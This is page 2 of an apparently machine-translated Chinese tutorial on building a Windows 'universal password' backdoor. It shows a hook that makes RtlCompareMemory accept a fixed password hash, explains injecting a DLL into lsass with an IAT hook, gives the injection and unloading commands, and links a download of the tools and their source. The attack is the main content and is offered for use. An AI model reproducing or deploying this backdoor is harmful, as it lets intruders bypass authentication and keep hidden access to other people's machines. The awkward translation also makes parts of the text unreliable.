Teaches you to use IAT hook to realize the windows universal code back door(2)

Add date: 07/10/2008 Publishing date: 07/10/2008 Hits: 42

Total 2 pages, Current page:2, Jump to page:

if (len == 16 && pRtlCompareMemory (PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory (a, b, len);
}

And pRtlCompareMemory is the global variable, is the true RtlCompareMemory address, PASSWD_HASH is the universal code Hasche.
Uses MyRtlCompareMemory to come hook to fall RtlCompareMemory, might realize the predetermined function.
What if must compare is 16, and the second section of memory directly allows to pass with ours Hasche same that no matter the first section of memory is anything.
Perhaps some friends will ask that you were hook in the msv1_0 module all transferred RtlCompareMemory the place, will not make a mistake?
Felt relieved that where has that skillfully, what must compare is 16 moreover the second section of memory is also entirely alike with ours Hasche?

Wants hook this function to have many methods,
I chose the laziest one kind, IAT hook+dll have poured into.
Therefore I wrote a small tool to pour into dll:DllInject

Code:
C:\Documents and Settings\cly\ tabletop \ bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (- i | - u | - U) pid filename
- i: Inject
- u: UnInject once
- U: UnInject at all

passdoor.dll is must pour into to lsass advancement dll, this dll has realized IAT hook in DllMain, the earth technology, has not pasted very much the code, as soon as on-line searches for a wicker basket.

Then I have written a small tool: pdconfig
Is actually changes in passdoor.dll the Hasche, in order to avoid must trade the password is must translate passdoor.dll.

Application method:

Code:
InjectDll.exe - i pid_of_lsass full_path_of_passdoor.dll

Unloading method:

Code:
InjectDll.exe - U pid_of_lsass full_path_of_passdoor.dll

http://clyfish.googlepages.com/passdoor.rar
Here is in this article is related the tool the sound code as well as translates the good binary file.
And includes InjectDll.exe, passdoor.dll and pdconfig.exe, all codes use MingW gcc4.2.1 to translate.

Other pages: : <<Prev * 1 * 2

Prev:And uses to some ASC detail network horse's explaining

Next:Summarizes some encryption algorithm

Comment:

Category: Home > encryption decipher